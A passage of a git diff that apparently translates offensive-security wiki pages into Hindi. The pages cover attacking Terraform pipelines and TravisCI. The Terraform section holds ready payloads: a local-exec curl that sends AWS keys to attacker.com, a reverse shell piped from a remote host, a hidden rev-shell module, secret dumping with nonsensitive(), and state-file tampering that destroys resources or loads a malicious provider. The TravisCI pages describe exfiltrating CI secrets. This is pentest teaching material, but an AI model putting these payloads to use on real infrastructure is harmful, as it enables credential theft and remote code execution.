हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक **और अधिक छिपे हुए तरीके** से भी कर सकते हैं, इन सुझावों का पालन करके: +- Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप **एक बाहरी संसाधन लोड कर सकते हैं** जिसमें rev shell हो: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +आप रिव शेल कोड [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) पर पा सकते हैं। -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- बाहरी संसाधन में, **ref** फीचर का उपयोग करें ताकि **repo के अंदर एक शाखा में terraform rev shell कोड को छिपाया जा सके**, कुछ इस तरह: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं **एक दुर्भावनापूर्ण Terraform फ़ाइल को** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** के साथ इंजेक्ट करके।**\ +आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड `main.tf` फ़ाइल में समाप्त हो जाएं: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { - provisioner "local-exec" { - command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" - } +provisioner "local-exec" { +command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY" +} } // Payload 2 to get a rev shell resource "null_resource" "rev_shell" { - provisioner "local-exec" { - command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" - } +provisioner "local-exec" { +command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" +} } ``` - Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. ## Secrets Dumps You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: - ```json output "dotoken" { - value = nonsensitive(var.do_token) +value = nonsensitive(var.do_token) } ``` +## Terraform State फ़ाइलों का दुरुपयोग -## Abusing Terraform State Files +यदि आपके पास terraform state फ़ाइलों पर लिखने की अनुमति है लेकिन आप terraform कोड को बदल नहीं सकते, तो [**यह शोध**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है: -In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file: +### संसाधनों को हटाना -### Deleting resources +संसाधनों को नष्ट करने के 2 तरीके हैं: -There are 2 ways to destroy resources: - -1. **Insert a resource with a random name into the state file pointing to the real resource to destroy** - -Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page: +1. **वास्तविक संसाधन को नष्ट करने के लिए state फ़ाइल में एक यादृच्छिक नाम के साथ एक संसाधन डालें** +क्योंकि terraform देखेगा कि संसाधन मौजूद नहीं होना चाहिए, यह इसे नष्ट कर देगा (वास्तविक संसाधन ID के अनुसार जो इंगित किया गया है)। पिछले पृष्ठ से उदाहरण: ```json { - "mode": "managed", - "type": "aws_instance", - "name": "example", - "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", - "instances": [ - { - "attributes": { - "id": "i-1234567890abcdefg" - } - } - ] +"mode": "managed", +"type": "aws_instance", +"name": "example", +"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]", +"instances": [ +{ +"attributes": { +"id": "i-1234567890abcdefg" +} +} +] }, ``` +2. **संसाधन को इस तरह से संशोधित करें कि इसे अपडेट करना संभव न हो (ताकि इसे हटाया जा सके और फिर से बनाया जा सके)** -2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)** - -For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it. +EC2 उदाहरण के लिए, उदाहरण के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है। ### RCE -It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research: - +यह भी संभव है कि [एक कस्टम प्रदाता बनाएँ](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) और बस terraform स्थिति फ़ाइल में एक प्रदाता को दुर्भावनापूर्ण वाले से बदल दें या दुर्भावनापूर्ण प्रदाता के साथ एक खाली संसाधन जोड़ दें। मूल शोध से उदाहरण: ```json "resources": [ { - "mode": "managed", - "type": "scaffolding_example", - "name": "example", - "provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", - "instances": [ +"mode": "managed", +"type": "scaffolding_example", +"name": "example", +"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]", +"instances": [ - ] +] }, ``` - ### Replace blacklisted provider -In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well. - +यदि आप ऐसी स्थिति का सामना करते हैं जहाँ `hashicorp/external` को ब्लैकलिस्ट किया गया है, तो आप निम्नलिखित करके `external` प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित `external` प्रदाता की एक फोर्क का उपयोग करते हैं। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं। ```terraform terraform { - required_providers { - external = { - source = "nazarewk/external" - version = "3.0.0" - } - } +required_providers { +external = { +source = "nazarewk/external" +version = "3.0.0" +} +} } ``` - -Then you can use `external` as per normal. - +फिर आप सामान्य के अनुसार `external` का उपयोग कर सकते हैं। ```terraform data "external" "example" { - program = ["sh", "-c", "whoami"] +program = ["sh", "-c", "whoami"] } ``` - ## Automatic Audit Tools ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats. - -- **Features:** - - Real-time scanning for security vulnerabilities and compliance issues. - - Integration with version control systems (GitHub, GitLab, Bitbucket). - - Automated fix pull requests. - - Detailed remediation advice. -- **Sign Up:** Create an account on [Snyk](https://snyk.io/). +Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC प्रारूपों में कमजोरियों और गलत कॉन्फ़िगरेशन का पता लगाता है। +- **विशेषताएँ:** +- सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए वास्तविक समय में स्कैनिंग। +- संस्करण नियंत्रण प्रणालियों (GitHub, GitLab, Bitbucket) के साथ एकीकरण। +- स्वचालित सुधार पुल अनुरोध। +- विस्तृत सुधार सलाह। +- **साइन अप करें:** [Snyk](https://snyk.io/) पर एक खाता बनाएं। ```bash brew tap snyk/tap brew install snyk snyk auth snyk iac test /path/to/terraform/code ``` - ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. +**Checkov** एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए है और यह छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण भी है। -It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. - -It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs). +यह [Terraform](https://terraform.io/) का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, [Terraform योजना](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm चार्ट](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), या [OpenTofu](https://opentofu.org/) को स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन की गलत कॉन्फ़िगरेशन का पता लगाता है। +यह [सॉफ़्टवेयर संरचना विश्लेषण (SCA) स्कैनिंग](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) करता है, जो सामान्य कमजोरियों और एक्सपोज़र (CVEs) के लिए ओपन-सोर्स पैकेजों और छवियों का स्कैन है। ```bash pip install checkov checkov -d /path/to/folder ``` - ### [terraform-compliance](https://github.com/terraform-compliance/cli) -From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code. +From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ आपके infrastructure-as-code के लिए नकारात्मक परीक्षण क्षमता सक्षम करता है। -- **compliance:** Ensure the implemented code is following security standards, your own custom standards -- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ? -- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/) -- **pre-deploy:** it validates your code before it is deployed -- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated. -- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible. +- **compliance:** सुनिश्चित करें कि लागू किया गया कोड सुरक्षा मानकों, आपके अपने कस्टम मानकों का पालन कर रहा है +- **behaviour driven development:** हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं? +- **portable:** बस इसे `pip` से इंस्टॉल करें या `docker` के माध्यम से चलाएं। [Installation](https://terraform-compliance.com/pages/installation/) देखें +- **pre-deploy:** यह आपके कोड को तैनात करने से पहले मान्य करता है +- **easy to integrate:** यह आपके पाइपलाइन (या git hooks में) चल सकता है ताकि सभी तैनातियों को मान्य किया जा सके। +- **segregation of duty:** आप अपने परीक्षणों को एक अलग रिपॉजिटरी में रख सकते हैं जहां एक अलग टीम जिम्मेदार है। > [!NOTE] -> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool. - +> दुर्भाग्यवश, यदि कोड कुछ प्रदाताओं का उपयोग कर रहा है जिन तक आपकी पहुंच नहीं है, तो आप `terraform plan` नहीं कर पाएंगे और इस उपकरण को नहीं चला पाएंगे। ```bash pip install terraform-compliance terraform plan -out=plan.out terraform-compliance -f /path/to/folder ``` - ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations. - -- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers -- ⛔ Hundreds of built-in rules -- 🪆 Scans modules (local and remote) -- ➕ Evaluates HCL expressions as well as literal values -- ↪️ Evaluates Terraform functions e.g. `concat()` -- 🔗 Evaluates relationships between Terraform resources -- 🧰 Compatible with the Terraform CDK -- 🙅 Applies (and embellishes) user-defined Rego policies -- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif. -- 🛠️ Configurable (via CLI flags and/or config file) -- ⚡ Very fast, capable of quickly scanning huge repositories +From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन को पहचाना जा सके। +- ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन की जांच करता है +- ⛔ सैकड़ों अंतर्निहित नियम +- 🪆 मॉड्यूल (स्थानीय और दूरस्थ) को स्कैन करता है +- ➕ HCL अभिव्यक्तियों और शाब्दिक मानों का मूल्यांकन करता है +- ↪️ Terraform कार्यों का मूल्यांकन करता है जैसे कि `concat()` +- 🔗 Terraform संसाधनों के बीच संबंधों का मूल्यांकन करता है +- 🧰 Terraform CDK के साथ संगत +- 🙅 उपयोगकर्ता-परिभाषित Rego नीतियों को लागू (और सजाता) है +- 📃 कई आउटपुट प्रारूपों का समर्थन करता है: सुंदर (डिफ़ॉल्ट), JSON, SARIF, CSV, CheckStyle, JUnit, पाठ, Gif। +- 🛠️ कॉन्फ़िगर करने योग्य (CLI ध्वज और/या कॉन्फ़िग फ़ाइल के माध्यम से) +- ⚡ बहुत तेज, विशाल रिपॉजिटरी को जल्दी से स्कैन करने में सक्षम ```bash brew install tfsec tfsec /path/to/folder ``` - ### [KICKS](https://github.com/Checkmarx/kics) -Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx. - -**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project. +अपने **KICS** द्वारा Checkmarx के साथ अपने इन्फ्रास्ट्रक्चर-एज़-कोड के विकास चक्र में सुरक्षा कमजोरियों, अनुपालन मुद्दों और इन्फ्रास्ट्रक्चर की गलत कॉन्फ़िगरेशन को जल्दी खोजें। +**KICS** का मतलब है **K**eeping **I**nfrastructure as **C**ode **S**ecure, यह ओपन-सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए आवश्यक है। ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` - ### [Terrascan](https://github.com/tenable/terrascan) -From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to: - -- Seamlessly scan infrastructure as code for misconfigurations. -- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture. -- Detect security vulnerabilities and compliance violations. -- Mitigate risks before provisioning cloud native infrastructure. -- Offers flexibility to run locally or integrate with your CI\CD. +From the [**docs**](https://github.com/tenable/terrascan): Terrascan एक स्थैतिक कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है: +- गलत कॉन्फ़िगरेशन के लिए Infrastructure as Code को निर्बाध रूप से स्कैन करें। +- कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति में वापस लौटने की अनुमति दें। +- सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएं। +- क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधान करने से पहले जोखिमों को कम करें। +- स्थानीय रूप से चलाने या अपने CI\CD के साथ एकीकृत करने के लिए लचीलापन प्रदान करता है। ```bash brew install terrascan ``` - -## References +## संदर्भ - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) @@ -310,7 +280,3 @@ brew install terrascan - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 63a3bb5c8..c0ece4b9e 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective +Github PRs का स्वागत है जो यह समझाते हैं कि हमलावर के दृष्टिकोण से उन प्लेटफार्मों का (दुरुपयोग) कैसे करें - Drone - TeamCity @@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke - Rancher - Mesosphere - Radicle -- Any other CI/CD platform... +- कोई अन्य CI/CD प्लेटफॉर्म... {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index cff623392..a0a91c8b8 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -4,7 +4,7 @@ ## What is TravisCI -**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**. +**Travis CI** एक **होस्टेड** या **स्थानीय** **निरंतर एकीकरण** सेवा है जिसका उपयोग विभिन्न **विभिन्न गिट प्लेटफार्मों** पर होस्ट किए गए सॉफ़्टवेयर प्रोजेक्ट्स को बनाने और परीक्षण करने के लिए किया जाता है। {{#ref}} basic-travisci-information.md @@ -14,48 +14,48 @@ basic-travisci-information.md ### Triggers -To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**: +हमला शुरू करने के लिए, आपको पहले यह जानना होगा कि निर्माण को कैसे ट्रिगर करना है। डिफ़ॉल्ट रूप से, TravisCI **पुश और पुल अनुरोधों पर निर्माण को ट्रिगर करेगा**: ![](<../../images/image (145).png>) #### Cron Jobs -If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build: +यदि आपके पास वेब एप्लिकेशन तक पहुंच है, तो आप **निर्माण चलाने के लिए क्रोन सेट कर सकते हैं**, यह निरंतरता के लिए या निर्माण को ट्रिगर करने के लिए उपयोगी हो सकता है: ![](<../../images/image (243).png>) > [!NOTE] -> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162). +> ऐसा लगता है कि [इस](https://github.com/travis-ci/travis-ci/issues/9162) के अनुसार `.travis.yml` के अंदर क्रोन सेट करना संभव नहीं है। ### Third Party PR -TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets: +डिफ़ॉल्ट रूप से, TravisCI तीसरे पक्ष से आने वाले PRs के साथ env वेरिएबल साझा करने को अक्षम करता है, लेकिन कोई इसे सक्षम कर सकता है और फिर आप रेपो में PR बना सकते हैं और रहस्यों को एक्सफिल्ट्रेट कर सकते हैं: ![](<../../images/image (208).png>) ### Dumping Secrets -As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines). +जैसा कि [**बुनियादी जानकारी**](basic-travisci-information.md) पृष्ठ में समझाया गया है, रहस्यों के 2 प्रकार होते हैं। **पर्यावरण वेरिएबल रहस्य** (जो वेब पृष्ठ में सूचीबद्ध होते हैं) और **कस्टम एन्क्रिप्टेड रहस्य**, जो `.travis.yml` फ़ाइल के अंदर base64 के रूप में संग्रहीत होते हैं (ध्यान दें कि दोनों एन्क्रिप्टेड के रूप में संग्रहीत होने पर अंतिम मशीनों में env वेरिएबल के रूप में समाप्त होंगे)। -- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build. -- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**. -- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as: +- **पर्यावरण वेरिएबल** के रूप में कॉन्फ़िगर किए गए **रहस्यों की गणना करने के लिए**, **प्रोजेक्ट** की **सेटिंग्स** पर जाएं और सूची की जांच करें। हालाँकि, ध्यान दें कि यहाँ सेट किए गए सभी प्रोजेक्ट env वेरिएबल निर्माण को ट्रिगर करते समय दिखाई देंगे। +- **कस्टम एन्क्रिप्टेड रहस्यों** की गणना करने के लिए, सबसे अच्छा आप कर सकते हैं वह है **`.travis.yml` फ़ाइल की जांच करना**। +- **एन्क्रिप्टेड फ़ाइलों** की गणना करने के लिए, आप रेपो में **`.enc` फ़ाइलों** के लिए देख सकते हैं, कॉन्फ़िग फ़ाइल में `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` जैसी पंक्तियों के लिए, या **पर्यावरण वेरिएबल** में **एन्क्रिप्टेड iv और कुंजी** के लिए: ![](<../../images/image (81).png>) ### TODO: -- Example build with reverse shell running on Windows/Mac/Linux -- Example build leaking the env base64 encoded in the logs +- Windows/Mac/Linux पर चलने वाले रिवर्स शेल के साथ उदाहरण निर्माण +- लॉग में बेस64 एन्कोडेड env लीक करने वाले उदाहरण निर्माण ### TravisCI Enterprise -If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to: +यदि एक हमलावर एक ऐसे वातावरण में समाप्त होता है जो **TravisCI enterprise** का उपयोग करता है (इस बारे में अधिक जानकारी [**बुनियादी जानकारी**](basic-travisci-information.md#travisci-enterprise) में है), तो वह **वर्कर में निर्माण को ट्रिगर करने में सक्षम होगा।** इसका मतलब है कि एक हमलावर उस सर्वर पर पार्श्व रूप से स्थानांतरित करने में सक्षम होगा जिससे वह: -- escape to the host? -- compromise kubernetes? -- compromise other machines running in the same network? -- compromise new cloud credentials? +- मेज़बान से भाग सकता है? +- कुबेरनेट्स से समझौता कर सकता है? +- उसी नेटवर्क में चल रही अन्य मशीनों से समझौता कर सकता है? +- नए क्लाउड क्रेडेंशियल्स से समझौता कर सकता है? ## References @@ -63,7 +63,3 @@ If an attacker ends in an environment which uses **TravisCI enterprise** (more i - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md index 46b10bf38..fbd9cfd37 100644 --- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md +++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md @@ -4,45 +4,42 @@ ## Access -TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI. +TravisCI सीधे विभिन्न git प्लेटफार्मों जैसे Github, Bitbucket, Assembla, और Gitlab के साथ एकीकृत होता है। यह उपयोगकर्ता से पूछेगा कि वह TravisCI को उन रिपोजिटरीज़ तक पहुँचने की अनुमति दे जो वह TravisCI के साथ एकीकृत करना चाहता है। -For example, in Github it will ask for the following permissions: +उदाहरण के लिए, Github में यह निम्नलिखित अनुमतियों के लिए पूछेगा: -- `user:email` (read-only) -- `read:org` (read-only) -- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations. +- `user:email` (केवल पढ़ने के लिए) +- `read:org` (केवल पढ़ने के लिए) +- `repo`: सार्वजनिक और निजी रिपोजिटरीज़ और संगठनों के लिए कोड, कमिट स्थिति, सहयोगियों, और तैनाती की स्थिति तक पढ़ने और लिखने की अनुमति देता है। ## Encrypted Secrets ### Environment Variables -In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build. +TravisCI में, अन्य CI प्लेटफार्मों की तरह, यह संभव है कि **रिपो स्तर पर रहस्यों को सुरक्षित करें** जो एन्क्रिप्टेड रूप में सुरक्षित किए जाएंगे और **निर्माण को निष्पादित करने वाली मशीन के वातावरण चर में डिक्रिप्ट और पुश किए जाएंगे**। ![](<../../images/image (203).png>) -It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will). +यह संभव है कि **उन शाखाओं को इंगित करें जिन पर रहस्य उपलब्ध होंगे** (डिफ़ॉल्ट रूप से सभी) और यह भी कि क्या TravisCI **इसके मान को छिपाना चाहिए** यदि यह **लॉग में दिखाई देता है** (डिफ़ॉल्ट रूप से यह करेगा)। ### Custom Encrypted Secrets -For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository. - -You can access the public key of one repo with: +**प्रत्येक रिपो** के लिए TravisCI एक **RSA की जोड़ी** उत्पन्न करता है, **निजी** को **रखता है**, और रिपोजिटरी की **सार्वजनिक कुंजी** उन लोगों के लिए उपलब्ध कराता है जिनके पास **रिपोजिटरी** तक **पहुँच** है। +आप एक रिपो की सार्वजनिक कुंजी तक पहुँच सकते हैं: ``` travis pubkey -r / travis pubkey -r carlospolop/t-ci-test ``` - -Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**. +फिर, आप इस सेटअप का उपयोग करके **गुप्त जानकारी को एन्क्रिप्ट कर सकते हैं और उन्हें अपने `.travis.yaml` में जोड़ सकते हैं**। गुप्त जानकारी **बिल्ड चलने पर डिक्रिप्ट की जाएगी** और **पर्यावरण चर** में उपलब्ध होगी। ![](<../../images/image (139).png>) -Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings. +ध्यान दें कि इस तरीके से एन्क्रिप्ट की गई गुप्त जानकारी सेटिंग्स के पर्यावरण चर में सूचीबद्ध नहीं होगी। -### Custom Encrypted Files - -Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**: +### कस्टम एन्क्रिप्टेड फ़ाइलें +पहले की तरह, TravisCI भी **फ़ाइलों को एन्क्रिप्ट करने और फिर बिल्ड के दौरान उन्हें डिक्रिप्ट करने** की अनुमति देता है: ``` travis encrypt-file super_secret.txt -r carlospolop/t-ci-test @@ -52,7 +49,7 @@ storing secure env variables for decryption Please add the following to your build script (before_install stage in your .travis.yml, for instance): - openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d +openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d Pro Tip: You can add it automatically by running with --add. @@ -60,37 +57,32 @@ Make sure to add super_secret.txt.enc to the git repository. Make sure not to add super_secret.txt to the git repository. Commit all changes to your .travis.yml. ``` - Note that when encrypting a file 2 Env Variables will be configured inside the repo such as: ![](<../../images/image (170).png>) ## TravisCI Enterprise -Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to. +Travis CI Enterprise एक **on-prem संस्करण है Travis CI का**, जिसे आप **अपने बुनियादी ढांचे में तैनात कर सकते हैं**। इसे Travis CI के 